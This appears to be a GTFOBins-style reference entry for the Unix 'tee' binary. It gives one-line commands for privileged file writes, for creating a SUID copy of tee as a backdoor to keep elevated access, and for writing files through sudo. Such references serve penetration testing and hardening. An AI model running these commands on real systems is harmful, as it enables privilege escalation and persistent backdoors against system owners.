It can only append data if the destination exists.
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write echo DATA | ./tee -a "$LFILE"
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.
sudo sh -c 'cp $(which tee) .; chmod +s ./tee' LFILE=file_to_write echo DATA | ./tee -a "$LFILE"
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
LFILE=file_to_write echo DATA | sudo tee -a "$LFILE"